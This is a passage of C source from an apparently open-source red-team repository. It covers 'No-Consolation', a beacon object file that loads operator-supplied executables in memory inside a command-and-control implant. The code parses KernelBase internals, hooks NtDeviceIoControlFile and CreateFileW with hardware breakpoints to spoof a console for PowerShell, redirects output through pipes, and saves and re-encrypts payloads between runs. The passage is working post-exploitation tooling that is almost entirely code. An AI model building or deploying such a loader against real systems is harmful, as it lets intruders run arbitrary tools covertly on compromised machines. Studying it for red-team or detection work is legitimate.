BaseGetConsoleReference\");\n        return NULL;\n    }\n\n    Addr++;\n\n    if (*Addr != 0x8b)\n    {\n        DPRINT_ERR(\"failed to parse BaseGetConsoleReference\");\n        return NULL;\n    }\n\n    Addr++;\n\n    if (*Addr != 0x05)\n    {\n        DPRINT_ERR(\"failed to parse BaseGetConsoleReference\");\n        return NULL;\n    }\n\n    Addr++;\n\n    Offset = *((PUINT32)Addr);\n\n    Addr += sizeof(UINT32);\n\n    if (*Addr != 0xc3)\n    {\n        DPRINT_ERR(\"failed to parse BaseGetConsoleReference\");\n        return NULL;\n    }\n\n    // the reference is RIP-releative\n    ConsoleReference = RVA2VA(PVOID, Rip, Offset);\n#else\n    /*\n     * KERNELBASE$BaseGetConsoleReference:\n     *  101bf7f0 a1 c8 47 1e 10  mov        eax,[DAT_101e47c8]\n     *  101bf7f5 c3              ret\n     */\n\n    // address of the 'ret' instruction\n    Rip  = RVA2VA(PVOID, Addr, 5);\n\n    if (*Addr != 0xa1)\n    {\n        DPRINT_ERR(\"failed to parse BaseGetConsoleReference\");\n        return NULL;\n    }\n\n    Addr++;\n\n    if (*(PBYTE)Rip != 0xc3)\n    {\n        DPRINT_ERR(\"failed to parse BaseGetConsoleReference\");\n        return NULL;\n    }\n\n    ConsoleReference = (PVOID)*((PUINT32)Addr);\n#endif\n\n    // make sure we got the address of the ConsoleReference right\n    if (BaseGetConsoleReference() != *(PHANDLE)ConsoleReference)\n    {\n        DPRINT_ERR(\"failed to parse BaseGetConsoleReference\");\n        return NULL;\n    }\n\n    // get the base of the struct from the address of the attribute\n    ConsoleConnectionState = CONTAINING_RECORD(ConsoleReference, CONSOLE_CONNECTION_STATE, ConsoleReference);\n    DPRINT(\"ConsoleConnectionState: 0x%p\", ConsoleConnectionState);\n\n    return ConsoleConnectionState;\n}\n\n/*\n * In order to find the address of 'ConsoleConnectionState', we parse BaseGetConsoleReference\n * which is a very short function that references a field in that structure\n */\nPVOID get_address_of_console_connection_state(VOID)\n{\n    PBYTE                 Addr                   = NULL;\n    PVOID                 ConsoleConnectionState = NULL;\n    PVOID                 KernelBase             = NULL;\n    PIMAGE_DOS_HEADER     dos                    = NULL;\n    PIMAGE_NT_HEADERS     nt                     = NULL;\n    PIMAGE_SECTION_HEADER sh                     = NULL;\n    LPSTR                 data                   = NULL;\n    PVOID                 DataBase               = NULL;\n    UINT32                DataSize               = 0;\n    PMEMORY_STRUCTS       mem_structs            = NULL;\n\n    mem_structs = BeaconGetValue(NC_MEM_STRUCTS_KEY);\n    if (mem_structs && mem_structs->console_connection_state)\n        return mem_structs->console_connection_state;\n\n    /*\n     * If exported, we parse kernelbase!BaseGetConsoleReference.\n     * If not, we parse kernelbase!FreeConsole which is a bit more complex\n     */\n    if (!ConsoleConnectionState)\n    {\n        Addr = xGetProcAddress(xGetLibAddress(\"KernelBase\", TRUE, NULL), \"BaseGetConsoleReference\", 0);\n        ConsoleConnectionState = parse_base_get_console_reference(Addr);\n    }\n\n    if (!ConsoleConnectionState)\n    {\n        Addr = xGetProcAddress(xGetLibAddress(\"KernelBase\", TRUE, NULL), \"FreeConsole\", 0);\n        ConsoleConnectionState = parse_free_console(Addr);\n    }\n\n    if (!ConsoleConnectionState)\n    {\n        DPRINT(\"Failed to get address of ConsoleConnectionState\");\n        return NULL;\n    }\n\n    /*\n     * as a sanity check, we verify that the resulting pointer is on the .data section of KernalBase\n     */\n\n    KernelBase = xGetLibAddress(\"kernelbase\", TRUE, NULL);\n    if (!KernelBase)\n    {\n        api_not_found(\"KernelBase.dll\");\n        return NULL;\n    }\n\n    dos  = (PIMAGE_DOS_HEADER)KernelBase;\n    nt   = RVA2VA(PIMAGE_NT_HEADERS, dos, dos->e_lfanew);\n    sh   = RVA2VA(PIMAGE_SECTION_HEADER, &nt->OptionalHeader, nt->FileHeader.SizeOfOptionalHeader);\n    data = \".data\";\n\n    // locate the .data segment\n    for (int i = 0; i < nt->FileHeader.NumberOfSections; i++)\n    {\n        if(*(PDWORD)sh[i].Name == *(PDWORD)data)\n        {\n            DataBase = RVA2VA(PVOID, KernelBase, sh[i].VirtualAddress);\n            DataSize = sh[i].Misc.VirtualSize;\n            break;\n        }\n    }\n\n    if (!DataBase || !DataSize)\n    {\n        DPRINT_ERR(\"failed to get range of .data section for KernelBase\");\n        return NULL;\n    }\n\n    if ((ULONG_PTR)DataBase > (ULONG_PTR)ConsoleConnectionState ||\n        (ULONG_PTR)DataBase + DataSize < (ULONG_PTR)ConsoleConnectionState)\n    {\n        DPRINT_ERR(\"ConsoleConnectionState is not in the .data section\");\n        return NULL;\n    }\n\n    mem_structs->console_connection_state = ConsoleConnectionState;\n\n    return ConsoleConnectionState;\n}\n\n/*\n * For cmd, we need to trick BasepCreateProcessParameters into setting\n * the ConsoleHandle for child processes to -1\n * to do this, we can:\n * 1) set our ConsoleReference to -1\n * 2) set our ConsoleReference to NULL and our ConsoleHandle to -1\n * I prefer 1) because it allows us to set the ConsoleHandle to\n * whatever we like, which comes in handy when dealing with PowerShell\n */\nBOOL redirect_std_out_err_for_cmd(\n    IN PLOADED_PE_INFO peinfo)\n{\n    PCONSOLE_CONNECTION_STATE ConsoleConnectionState = NULL;\n\n    DPRINT(\"redirect_std_out_err_for_cmd\");\n\n    ConsoleConnectionState = get_address_of_console_connection_state();\n    if (!ConsoleConnectionState)\n        return FALSE;\n\n    // save the original value of the ConsoleReference\n    peinfo->original_console_reference = ConsoleConnectionState->ConsoleReference;\n    peinfo->console_reference_addr     = &ConsoleConnectionState->ConsoleReference;\n\n    // set the ConsoleReference to -1\n    ConsoleConnectionState->ConsoleReference = (HANDLE)(ULONG_PTR)(-1);\n    peinfo->modified_console_reference = TRUE;\n\n    return TRUE;\n}\n\n/*\n * when running PowerShell, this function will simulate a successful call to NtDeviceIoControlFile\n */\nNTSTATUS NTAPI MyNtDeviceIoControlFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event,\n    IN PIO_APC_ROUTINE  ApcRoutine,\n    IN PVOID ApcContext,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN ULONG IoControlCode,\n    IN PVOID InputBuffer,\n    IN ULONG InputBufferLength,\n    OUT PVOID OutputBuffer,\n    IN ULONG OutputBufferLength)\n{\n    PUINT32 ConsoleOutputCP = NULL;\n    HANDLE  hConsoleHandle  = NULL;\n    LPDWORD lpMode          = NULL;\n    LPWSTR  lpConsoleTitle  = NULL;\n\n    if (IoStatusBlock)\n    {\n        IoStatusBlock->Status = STATUS_SUCCESS;\n    }\n\n    PCONSOLE_CP ConsoleCpBuffer = (PCONSOLE_CP)InputBuffer;\n\n    if (IoControlCode == 0x500016 && ConsoleCpBuffer && ConsoleCpBuffer->InputType)\n    {\n        if (ConsoleCpBuffer->InputType->Id1 == 0x1000000 &&\n            ConsoleCpBuffer->InputType->Id2 == 0x8)\n        {\n            DPRINT(\"spoofing GetConsoleOutputCP\");\n\n            ConsoleOutputCP = ConsoleCpBuffer->OutputPtr;\n            *ConsoleOutputCP = 437;\n\n            return STATUS_SUCCESS;\n        }\n        else if (ConsoleCpBuffer->InputType->Id1 == 0x3000004 &&\n                 ConsoleCpBuffer->InputType->Id2 == 0x54)\n        {\n            DPRINT(\"spoofing GetCurrentConsoleFontEx\");\n\n            return STATUS_SUCCESS;\n        }\n        else if (ConsoleCpBuffer->InputType->Id1 == 0x1000001 &&\n                 ConsoleCpBuffer->InputType->Id2 == 0x4)\n        {\n            DPRINT(\"spoofing GetConsoleMode\");\n\n            hConsoleHandle = ConsoleCpBuffer->InputValue;\n            lpMode         = ConsoleCpBuffer->OutputPtr;\n\n            if (hConsoleHandle == get_std_out_handle())\n            {\n                /*\n                 * calling GetConsoleMode on the fake 'StandardOutput' has to fail\n                 */\n                *lpMode = 0x0;\n                return STATUS_INVALID_HANDLE;\n            }\n            else if (hConsoleHandle == get_std_in_handle())\n            {\n                /*\n                 * calling GetConsoleMode on 'StandardInput' has to succeed with 0x1f7\n                 */\n                *lpMode = 0x1f7;\n                return STATUS_SUCCESS;\n            }\n            else\n            {\n                /*\n                 * on the other handles, GetConsoleMode on 'StandardInput' has to succeed with 0x3\n                 */\n                *lpMode = 0x3;\n                return STATUS_SUCCESS;\n            }\n        }\n        else if (ConsoleCpBuffer->InputType->Id1 == 0x2000007 &&\n                 ConsoleCpBuffer->InputType->Id2 == 0x5c)\n        {\n            DPRINT(\"spoofing GetConsoleScreenBufferInfo\");\n\n            return STATUS_SUCCESS;\n        }\n        else if (ConsoleCpBuffer->InputType->Id1 == 0x1000002 &&\n                 ConsoleCpBuffer->InputType->Id2 == 0x4)\n        {\n            DPRINT(\"spoofing SetConsoleMode\");\n\n            return STATUS_SUCCESS;\n        }\n        else if (ConsoleCpBuffer->InputType->Id1 == 0x2000014 &&\n                 ConsoleCpBuffer->InputType->Id2 == 0x80)\n        {\n            DPRINT(\"spoofing GetConsoleTitleW\");\n\n            lpConsoleTitle = ConsoleCpBuffer->OutputPtr;\n            lpConsoleTitle[0x0] = L'N';\n            lpConsoleTitle[0x1] = L'o';\n            lpConsoleTitle[0x2] = L'C';\n            lpConsoleTitle[0x3] = L'o';\n            lpConsoleTitle[0x4] = L'n';\n            lpConsoleTitle[0x5] = L's';\n            lpConsoleTitle[0x6] = L'o';\n            lpConsoleTitle[0x7] = L'l';\n            lpConsoleTitle[0x8] = L'a';\n            lpConsoleTitle[0x9] = L't';\n            lpConsoleTitle[0xa] = L'i';\n            lpConsoleTitle[0xb] = L'o';\n            lpConsoleTitle[0xc] = L'n';\n            lpConsoleTitle[0xd] = L'\\0';\n\n            return STATUS_SUCCESS;\n        }\n        else if (ConsoleCpBuffer->InputType->Id1 == 0x2000015 &&\n                 ConsoleCpBuffer->InputType->Id2 == 0x10)\n        {\n            DPRINT(\"spoofing SetConsoleTitleW\");\n\n            return STATUS_SUCCESS;\n        }\n        else if (ConsoleCpBuffer->InputType->Id1 == 0x1000008 &&\n                 ConsoleCpBuffer->InputType->Id2 == 0x2)\n        {\n            DPRINT(\"spoofing SetTEBLangID\");\n\n            return STATUS_SUCCESS;\n        }\n    }\n\n    if (ConsoleCpBuffer && ConsoleCpBuffer->InputType)\n    {\n        DPRINT_ERR(\"failed to understand message, Id1: %x, Id2: %d\", ConsoleCpBuffer->InputType->Id1, ConsoleCpBuffer->InputType->Id2);\n    }\n    else\n    {\n        DPRINT_ERR(\"failed to understand message\");\n    }\n\n    return STATUS_SUCCESS;\n}\n\nLONG CALLBACK NtDeviceIoControlFileHandler(\n    PEXCEPTION_POINTERS exception)\n{\n    PVOID Addr = NULL;\n\n    if (EXCEPTION_CODE( exception ) == STATUS_SINGLE_STEP)\n    {\n        // check if the exception address is NtDeviceIoControlFile\n        Addr = xGetProcAddress(xGetLibAddress(\"ntdll\", TRUE, NULL), \"NtDeviceIoControlFile\", 0);\n        if (EXCEPTION_CURRENT_IP( exception ) == Addr)\n        {\n            // check the first parameter is the ConsoleHandle\n            if ((HANDLE)EXCEPTION_ARG_1( exception ) == get_console_handle())\n            {\n                // redirect execution to the fake NtDeviceIoControlFile\n                EXCEPTION_SET_IP( exception, (ULONG_PTR)MyNtDeviceIoControlFile );\n\n                return EXCEPTION_CONTINUE_EXECUTION;\n            }\n            else\n            {\n                // if the first parameter is not the ConsoleHandle, continue executing normally\n                EXCEPTION_RESUME( exception );\n                return EXCEPTION_CONTINUE_EXECUTION;\n            }\n        }\n    }\n\n    return EXCEPTION_CONTINUE_SEARCH;\n}\n\nLONG CALLBACK CreateFileWHandler(\n    PEXCEPTION_POINTERS exception)\n{\n    PVOID  Addr     = NULL;\n    LPWSTR FileName = NULL;\n    PVOID  Return   = NULL;\n\n    if (EXCEPTION_CODE( exception ) == STATUS_SINGLE_STEP)\n    {\n        // check if the exception address is CreateFileW\n        Addr = xGetProcAddress(xGetLibAddress(\"kernelbase\", TRUE, NULL), \"CreateFileW\", 0);\n        if (EXCEPTION_CURRENT_IP( exception ) == Addr)\n        {\n            // check the first parameter is CONOUT$\n            FileName = (LPWSTR)EXCEPTION_ARG_1( exception );\n            if (FileName &&\n                FileName[0] == L'C' &&\n                FileName[1] == L'O' &&\n                FileName[2] == L'N' &&\n                FileName[3] == L'O' &&\n                FileName[4] == L'U' &&\n                FileName[5] == L'T' &&\n                FileName[6] == L'$' &&\n                FileName[7] == L'\\0')\n            {\n                DPRINT(\"Spoofing CreateFileW(\\\"CONOUT$\\\", ...)\");\n\n                // set a fake handle as return value, anything but -1 will do\n                EXCEPTION_SET_RET( exception, 0x123 );\n\n                // return\n                Return = EXCEPTION_GET_RET( exception );\n                EXCEPTION_ADJ_STACK( exception, sizeof( PVOID ) );\n                EXCEPTION_SET_IP( exception, (ULONG_PTR)Return );\n\n                return EXCEPTION_CONTINUE_EXECUTION;\n            }\n            else\n            {\n                // if the first parameter is not CONOUT$, continue executing normally\n                EXCEPTION_RESUME( exception );\n                return EXCEPTION_CONTINUE_EXECUTION;\n            }\n        }\n    }\n\n    return EXCEPTION_CONTINUE_SEARCH;\n}\n\n/*\n * For PowerShell, we spoof a console by hooking\n * NtDeviceIoControlFile and CreateFileW using hardware breakpoints\n */\nBOOL redirect_std_out_err_for_ps(\n    IN PLOADED_PE_INFO peinfo)\n{\n    HANDLE hFakeConsoleHandle        = NULL;\n    PVOID  AddrNtDeviceIoControlFile = NULL;\n    PVOID  AddrCreateFileW           = NULL;\n\n    DPRINT(\"redirect_std_out_err_for_ps\");\n\n    /*\n     * if the PE did not load mscoree.dll, we can skip this step\n     */\n    if (!peinfo->loaded_mscoree)\n    {\n        DPRINT(\"PE didn't load mscoree.dll, skipping\");\n        return TRUE;\n    }\n\n    /*\n     * if the operator decided to load a console, there is no need to spoof one\n     */\n    if (peinfo->alloc_console)\n    {\n        DPRINT(\"A console will be allocated, skipping\")\n        return TRUE;\n    }\n\n    /*\n     * if a console is already allocated, there is no need to spoof one\n     */\n    if (get_console_handle())\n    {\n        DPRINT(\"A console is already allocated, skipping\")\n        return TRUE;\n    }\n\n    AddrNtDeviceIoControlFile = xGetProcAddress(xGetLibAddress(\"ntdll\", TRUE, NULL),      \"NtDeviceIoControlFile\", 0);\n    AddrCreateFileW           = xGetProcAddress(xGetLibAddress(\"kernelbase\", TRUE, NULL), \"CreateFileW\", 0);\n\n    if (!AddrNtDeviceIoControlFile)\n    {\n        api_not_found(\"NtDeviceIoControlFile\");\n        return FALSE;\n    }\n\n    if (!AddrCreateFileW)\n    {\n        api_not_found(\"CreateFileW\");\n        return FALSE;\n    }\n\n    /*\n     * set a hardware breakpoint on NtDeviceIoControlFile and CreateFileW\n     */\n\n    if (!set_hwbp(\n        peinfo->hThread,\n        AddrNtDeviceIoControlFile,\n        NtDeviceIoControlFileHandler,\n        NT_DEVICE_IO_CONTROL_FILE_INDEX,\n        &peinfo->hHwBp1))\n    {\n        DPRINT_ERR(\"Failed to set HWBP on NTDLL$NtDeviceIoControlFile\");\n        return FALSE;\n    }\n\n    if (!set_hwbp(\n        peinfo->hThread,\n        AddrCreateFileW,\n        CreateFileWHandler,\n        CREATE_FILE_INDEX,\n        &peinfo->hHwBp2))\n    {\n        DPRINT_ERR(\"Failed to set HWBP on KERNELBASE$CreateFileW\");\n        return FALSE;\n    }\n\n    /*\n     * set a fake console handle on PEB->ProcessParameters->ConsoleHandle\n     */\n\n    int (WINAPI *rand) (void)  = xGetProcAddress(xGetLibAddress(\"msvcrt\", TRUE, NULL), \"rand\", 0);\n    if (!rand)\n    {\n        api_not_found(\"rand\");\n        return FALSE;\n    }\n\n    while (!hFakeConsoleHandle || hFakeConsoleHandle == get_std_in_handle())\n    {\n        hFakeConsoleHandle = (HANDLE)(ULONG_PTR)((rand() & (2047 - 1)) & ~3);\n    }\n\n    // save the original console handle\n    peinfo->original_console_handle = get_console_handle();\n\n    // set the fake console handle\n    set_console_handle(hFakeConsoleHandle);\n\n    peinfo->modified_console_handle = TRUE;\n\n    DPRINT(\"fake console handle: 0x%x\", hFakeConsoleHandle);\n\n    return TRUE;\n}\n\n/*\n * Many binaries simply need the standard output and error\n * handles on the PEB->ProcessParameters structure to be overwritten\n * with the write handle from the anonymous pipe\n */\nBOOL redirect_std_out_err_generic(\n    IN PLOADED_PE_INFO peinfo)\n{\n    DPRINT(\"redirect_std_out_err_generic\");\n\n    // save the original values of StandardOutput/Error\n    peinfo->original_user_params_stdout = get_std_out_handle();\n    peinfo->original_user_params_stderr = get_std_err_handle();\n\n    // set the pipe write handle as Stdout\n    set_std_out_handle(peinfo->Handles->hWrite);\n    peinfo->modified_user_params_stdout = TRUE;\n\n    // set the pipe write handle as Stderr\n    set_std_err_handle(peinfo->Handles->hWrite);\n    peinfo->modified_user_params_stderr = TRUE;\n\n    return TRUE;\n}\n\n/*\n * PowerShell doesn't like the output Pipe handles to change in between executions.\n * Because of this, we only create the anonymous pipe once.\n * To remember the pipe values, we use the Key/Value store from beacon\n */\nBOOL recover_handle_info(\n    IN PLOADED_PE_INFO peinfo)\n{\n    // try to recover the handle information from previous runs\n    peinfo->Handles = BeaconGetValue(NC_HANDLE_INFO_KEY);\n\n    if (peinfo->Handles)\n    {\n        DPRINT(\"Recovered handle information\");\n    }\n    else\n    {\n        // this is the first run, create a new anonymous pipe\n        DPRINT(\"Creating anonymous pipe\");\n\n        // allocate the HANDLE_INFO structure\n        peinfo->Handles = intAlloc(sizeof(HANDLE_INFO));\n\n        // create the pipe\n        SECURITY_ATTRIBUTES sao = { sizeof(sao), NULL, TRUE };\n        if (!CreatePipe(&peinfo->Handles->hRead, &peinfo->Handles->hWrite, &sao, 0))\n        {\n            function_failed(\"CreatePipe\");\n            return FALSE;\n        }\n\n        // save the handle information for future executions\n        if (!BeaconAddValue(NC_HANDLE_INFO_KEY, peinfo->Handles))\n        {\n            function_failed(\"BeaconAddValue\");\n            return FALSE;\n        }\n    }\n\n    return TRUE;\n}\n\nBOOL redirect_std_out_err(\n    IN PLOADED_PE_INFO peinfo)\n{\n    if (peinfo->nooutput)\n    {\n        return TRUE;\n    }\n\n    if (!recover_handle_info(peinfo))\n    {\n        return FALSE;\n    }\n\n    /*\n     * this works for:\n     * - MinGW cross-compiled binaries\n     * - clang cross-compiled binaries\n     */\n    if (!redirect_std_out_err_for_mingw(peinfo))\n    {\n        return FALSE;\n    }\n\n    /*\n     * this works for:\n     * - MSVC binaries compiled with link.exe\n     */\n    if (!redirect_std_out_err_for_msvc(peinfo))\n    {\n        return FALSE;\n    }\n\n    /*\n     * this works for:\n     * - CMD run with /c\n     * - other binaries that call CreateProcessW\n     */\n    if (!redirect_std_out_err_for_cmd(peinfo))\n    {\n        return FALSE;\n    }\n\n    /*\n     * this works for:\n     * - PowerShell\n     */\n    if (!redirect_std_out_err_for_ps(peinfo))\n    {\n        return FALSE;\n    }\n\n    /*\n     * This is disabled by default\n     */\n    if (!allocate_console(peinfo))\n    {\n        return FALSE;\n    }\n\n    /*\n     * this works for:\n     * - handle.exe\n     * - PsExec.exe\n     * - several other\n     */\n    if (!redirect_std_out_err_generic(peinfo))\n    {\n        return FALSE;\n    }\n\n    return TRUE;\n}\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/source/entry.c",
    "content": "\n#include <windows.h>\n#include \"output.h\"\n#include \"peb.c\"\n#include \"loader.c\"\n#include \"console.c\"\n#include \"runner.c\"\n#include \"hwbp.c\"\n#include \"utils.c\"\n#include \"apisetlookup.c\"\n\nint go(IN PCHAR Buffer, IN ULONG Length)\n{\n    datap           parser        = { 0 };\n    int             pe_length     = 0;\n    LPSTR           pe_name       = NULL;\n    LPWSTR          pe_wname      = NULL;\n    LPWSTR          pe_wpath      = NULL;\n    PVOID           pe_bytes      = 0;\n    LPSTR           pe_path       = 0;\n    BOOL            local         = FALSE;\n    UINT32          timeout       = 0;\n    BOOL            headers       = FALSE;\n    LPWSTR          cmdwline      = NULL;\n    LPCSTR          cmdline       = NULL;\n    LPSTR           method        = NULL;\n    BOOL            use_unicode   = FALSE;\n    BOOL            nooutput      = FALSE;\n    BOOL            alloc_console = FALSE;\n    BOOL            close_handles = FALSE;\n    LPSTR           unload_libs   = NULL;\n    BOOL            dont_save     = FALSE;\n    BOOL            list_pes      = FALSE;\n    LPSTR           unload_pe     = NULL;\n    BOOL            recovered_pe  = FALSE;\n    LPSTR           loadtime      = NULL;\n    BOOL            link_to_peb   = FALSE;\n    BOOL            dont_unload   = FALSE;\n    BOOL            load_all_deps = FALSE;\n    LPSTR           load_all_deps_but = NULL;\n    LPSTR           load_deps     = NULL;\n    LPSTR           search_paths  = NULL;\n    PLIB_LOADED     lib_loaded    = NULL;\n    PLIB_LOADED     lib_tmp       = NULL;\n    PLOADED_PE_INFO peinfo        = NULL;\n    PLIBS_LOADED    libs_loaded   = NULL;\n    PMEMORY_STRUCTS mem_structs   = NULL;\n    BOOL            inthread      = FALSE;\n\n    BeaconDataParse(&parser, Buffer, Length);\n    pe_wname      = (LPWSTR)BeaconDataExtract(&parser, NULL);\n    pe_wname      = pe_wname[0] ? pe_wname : NULL;\n    pe_name       = BeaconDataExtract(&parser, NULL);\n    pe_name       = pe_name[0] ? pe_name : NULL;\n    pe_wpath      = (LPWSTR)BeaconDataExtract(&parser, NULL);\n    pe_wpath      = pe_wpath[0] ? pe_wpath : NULL;\n    pe_bytes      = BeaconDataExtract(&parser, &pe_length);\n    pe_path       = BeaconDataExtract(&parser, NULL);\n    pe_path       = pe_path[0] ? pe_path : NULL;\n    local         = BeaconDataInt(&parser);\n    timeout       = BeaconDataInt(&parser);\n    headers       = BeaconDataInt(&parser);\n    cmdwline      = (LPWSTR)BeaconDataExtract(&parser, NULL);\n    cmdline       = BeaconDataExtract(&parser, NULL);\n    method        = BeaconDataExtract(&parser, NULL);\n    use_unicode   = BeaconDataInt(&parser);\n    nooutput      = BeaconDataInt(&parser);\n    alloc_console = BeaconDataInt(&parser);\n    close_handles = BeaconDataInt(&parser);\n    unload_libs   = BeaconDataExtract(&parser, NULL);\n    unload_libs   = unload_libs[0] ? unload_libs : NULL;\n    dont_save     = BeaconDataInt(&parser);\n    list_pes      = BeaconDataInt(&parser);\n    unload_pe     = BeaconDataExtract(&parser, NULL);\n    unload_pe     = unload_pe[0] ? unload_pe : NULL;\n    loadtime      = BeaconDataExtract(&parser, NULL);\n    loadtime      = loadtime[0] ? loadtime : NULL;\n    link_to_peb   = BeaconDataInt(&parser);\n    dont_unload   = BeaconDataInt(&parser);\n    load_all_deps = BeaconDataInt(&parser);\n    load_all_deps_but = BeaconDataExtract(&parser, NULL);\n    load_all_deps_but = load_all_deps_but[0] ? load_all_deps_but : NULL;\n    load_deps     = BeaconDataExtract(&parser, NULL);\n    load_deps     = load_deps[0] ? load_deps : NULL;\n    search_paths  = BeaconDataExtract(&parser, NULL);\n    search_paths  = search_paths[0] ? search_paths : NULL;\n    inthread      = BeaconDataInt(&parser);\n\n    peinfo = intAlloc(sizeof(LOADED_PE_INFO));\n\n    StringCopyA(peinfo->pe_name,  pe_name ? pe_name : \"NoConsolation.dll\");\n    wcscpy(peinfo->pe_wname, pe_wname ? pe_wname : L\"NoConsolation.dll\");\n    wcscpy(peinfo->pe_wpath, pe_wpath ? pe_wpath : L\"C:\\\\Windows\\\\System32\\\\NoConsolation.dll\");\n    peinfo->timeout       = timeout;\n    peinfo->headers       = headers;\n    peinfo->method        = method[0] ? method : NULL;\n    peinfo->use_unicode   = use_unicode;\n    peinfo->cmdwline      = cmdwline[0] ? cmdwline : NULL;\n    peinfo->cmdline       = cmdline[0] ? cmdline : NULL;\n    peinfo->nooutput      = nooutput;\n    peinfo->alloc_console = alloc_console;\n    peinfo->link_to_peb   = link_to_peb;\n    peinfo->dont_unload   = dont_unload;\n    peinfo->is_dependency = FALSE;\n    peinfo->load_all_deps = load_all_deps;\n    peinfo->load_all_deps_but = load_all_deps_but;\n    peinfo->load_deps     = load_deps;\n    peinfo->search_paths  = search_paths;\n    peinfo->custom_loaded = TRUE;\n    peinfo->inthread      = inthread;\n\n    // save a reference to peinfo\n    BeaconAddValue(NC_PE_INFO_KEY, peinfo);\n\n    // init the 'DLLs loaded' linked list\n    libs_loaded = BeaconGetValue(NC_LOADED_DLL_KEY);\n    if (!libs_loaded)\n    {\n        libs_loaded = intAlloc(sizeof(LIBS_LOADED));\n        libs_loaded->list.Flink = libs_loaded->list.Blink = &libs_loaded->list;\n        BeaconAddValue(NC_LOADED_DLL_KEY, libs_loaded);\n    }\n\n    mem_structs = BeaconGetValue(NC_MEM_STRUCTS_KEY);\n    if (!mem_structs)\n    {\n        mem_structs = intAlloc(sizeof(MEMORY_STRUCTS));\n        BeaconAddValue(NC_MEM_STRUCTS_KEY, mem_structs);\n    }\n\n    if (list_pes)\n    {\n        list_saved_pes();\n        goto Cleanup;\n    }\n\n    if (unload_pe)\n    {\n        if (remove_saved_pe(unload_pe))\n        {\n            PRINT(\"removed %s\", unload_pe);\n            goto Cleanup;\n        }\n        else\n        {\n            PRINT_ERR(\"failed to remove %s\", unload_pe);\n            goto Cleanup;\n        }\n    }\n\n    // if no PE was provided, go to cleanup\n    if (!pe_name && !pe_path && !pe_length)\n        goto Cleanup;\n\n    // the PE was provided by the operator\n    if (pe_bytes && pe_length)\n    {\n        if (!dont_save)\n            save_pe_info(pe_name, pe_bytes, pe_length, loadtime);\n    }\n    // read PE from local filesystem\n    else if (local)\n    {\n        if (!read_local_pe(pe_path, &pe_bytes, &pe_length))\n        {\n            PRINT_ERR(\"failed to load %s\", pe_path);\n            goto Cleanup;\n        }\n        if (!dont_save)\n            save_pe_info(pe_name, pe_bytes, pe_length, loadtime);\n    }\n    // recover executable from saved PEs\n    else\n    {\n        if (!get_saved_pe(pe_name, &pe_bytes, &pe_length))\n        {\n            PRINT_ERR(\"failed to load %s from saved binaries\", pe_name);\n            goto Cleanup;\n        }\n        recovered_pe = TRUE;\n    }\n\n    if (!load_pe(pe_bytes, pe_length, peinfo))\n    {\n        PRINT_ERR(\"peload failure\");\n        goto Cleanup;\n    }\n\n    if (peinfo->inthread)\n    {\n        peinfo->hThread = NtCurrentThread();\n    }\n    else\n    {\n        if (!create_thread(&peinfo->hThread))\n        {\n            PRINT_ERR(\"failed to create thread\");\n            goto Cleanup;\n        }\n    }\n\n    if (!redirect_std_out_err(peinfo))\n    {\n        PRINT_ERR(\"failed to redirect output\");\n        goto Cleanup;\n    }\n\n    if (!run_pe(peinfo))\n    {\n        PRINT_ERR(\"failed to run pe\");\n        goto Cleanup;\n    }\n\nCleanup:\n    if (recovered_pe)\n        reencrypt_pe(pe_name);\n\n    if (local && pe_bytes)\n    {\n        memset(pe_bytes, 0, pe_length);\n        intFree(pe_bytes);\n    }\n\n    if (peinfo && peinfo->inthread && peinfo->hHwBp1)\n        unset_hwbp(peinfo->hThread, NT_DEVICE_IO_CONTROL_FILE_INDEX);\n\n    if (peinfo && peinfo->inthread && peinfo->hHwBp2)\n        unset_hwbp(peinfo->hThread, CREATE_FILE_INDEX);\n\n    if (peinfo && peinfo->hHwBp1)\n        remove_hwbp_handler(peinfo->hHwBp1);\n\n    if (peinfo && peinfo->hHwBp2)\n        remove_hwbp_handler(peinfo->hHwBp2);\n\n    if (close_handles)\n    {\n        DPRINT(\"Freeing handles\");\n        if (peinfo && peinfo->Handles && peinfo->Handles->fo_msvc)\n        {\n            void ( WINAPI *msvcrt_close ) ( int ) = xGetProcAddress(xGetLibAddress(\"msvcrt\", TRUE, NULL), \"_close\", 0);\n            if (msvcrt_close)\n                msvcrt_close(peinfo->Handles->fo_msvc);\n        }\n\n        if (peinfo && peinfo->Handles && peinfo->Handles->fo_ucrtbase)\n        {\n            void ( WINAPI *ucrtbase_close ) ( int ) = xGetProcAddress(xGetLibAddress(\"ucrtbase\", TRUE, NULL), \"_close\", 0);\n            if (ucrtbase_close)\n                ucrtbase_close(peinfo->Handles->fo_ucrtbase);\n        }\n\n        if (peinfo && peinfo->Handles && peinfo->Handles->hRead)\n            NtClose(peinfo->Handles->hRead);\n\n        if (peinfo && peinfo->Handles && peinfo->Handles->hWrite)\n            NtClose(peinfo->Handles->hWrite);\n\n        if (peinfo && peinfo->Handles)\n        {\n            memset(peinfo->Handles, 0, sizeof(HANDLE_INFO));\n            intFree(peinfo->Handles);\n        }\n\n        BeaconRemoveValue(NC_HANDLE_INFO_KEY);\n    }\n\n    if (peinfo && peinfo->modified_msvc_stdout)\n        memcpy(peinfo->msvc_stdout, peinfo->original_msvc_stdout, sizeof(FILE));\n\n    if (peinfo && peinfo->modified_msvc_stderr)\n        memcpy(peinfo->msvc_stderr, peinfo->original_msvc_stderr, sizeof(FILE));\n\n    if (peinfo && peinfo->modified_ucrtbase_stdout)\n        memcpy(peinfo->ucrtbase_stdout, peinfo->original_ucrtbase_stdout, sizeof(UCRTBASE_FILE));\n\n    if (peinfo && peinfo->modified_ucrtbase_stderr)\n        memcpy(peinfo->ucrtbase_stderr, peinfo->original_ucrtbase_stderr, sizeof(UCRTBASE_FILE));\n\n    if (peinfo && peinfo->original_msvc_stdout)\n    {\n        memset(peinfo->original_msvc_stdout, 0, sizeof(FILE));\n        intFree(peinfo->original_msvc_stdout);\n    }\n\n    if (peinfo && peinfo->original_msvc_stderr)\n    {\n        memset(peinfo->original_msvc_stderr, 0, sizeof(FILE));\n        intFree(peinfo->original_msvc_stderr);\n    }\n\n    if (peinfo && peinfo->original_ucrtbase_stdout)\n    {\n        memset(peinfo->original_ucrtbase_stdout, 0, sizeof(UCRTBASE_FILE));\n        intFree(peinfo->original_ucrtbase_stdout);\n    }\n\n    if (peinfo && peinfo->original_ucrtbase_stderr)\n    {\n        memset(peinfo->original_ucrtbase_stderr, 0, sizeof(UCRTBASE_FILE));\n        intFree(peinfo->original_ucrtbase_stderr);\n    }\n\n    